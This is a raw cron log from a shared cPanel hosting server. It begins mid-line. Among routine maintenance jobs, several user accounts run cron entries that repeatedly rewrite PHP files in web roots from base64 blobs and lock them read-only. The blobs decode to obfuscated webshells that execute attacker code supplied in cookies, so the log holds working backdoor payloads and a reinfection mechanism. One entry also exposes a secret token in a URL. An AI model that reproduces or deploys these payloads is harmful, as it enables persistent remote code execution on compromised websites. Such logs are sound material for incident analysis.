hoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:10:01 medusa CROND[5317]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:10:01 medusa CROND[5322]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 07:10:01 medusa CROND[5321]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 07:10:01 medusa CROND[5335]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:10:01 medusa CROND[5318]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 07:10:01 medusa CROND[5310]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 07:11:01 medusa CROND[29404]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 07:11:01 medusa CROND[29427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:11:01 medusa CROND[29429]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:11:01 medusa CROND[29431]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:11:01 medusa CROND[29432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:11:01 medusa CROND[29433]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:11:01 medusa CROND[29434]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:11:01 medusa CROND[29443]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:11:01 medusa CROND[29445]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:11:01 medusa CROND[29444]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 07:11:01 medusa CROND[29446]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:11:01 medusa CROND[29447]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:11:01 medusa CROND[29452]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:12:01 medusa CROND[21396]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:12:01 medusa CROND[21493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:12:01 medusa CROND[21512]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:12:01 medusa CROND[21513]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 07:12:01 medusa CROND[21514]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 07:12:01 medusa CROND[21515]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:12:01 medusa CROND[21519]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:12:01 medusa CROND[21516]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:12:01 medusa CROND[21522]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:12:01 medusa CROND[21523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:12:01 medusa CROND[21525]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:12:01 medusa CROND[21532]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:12:01 medusa CROND[21536]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:12:01 medusa CROND[21538]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:13:01 medusa CROND[14180]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
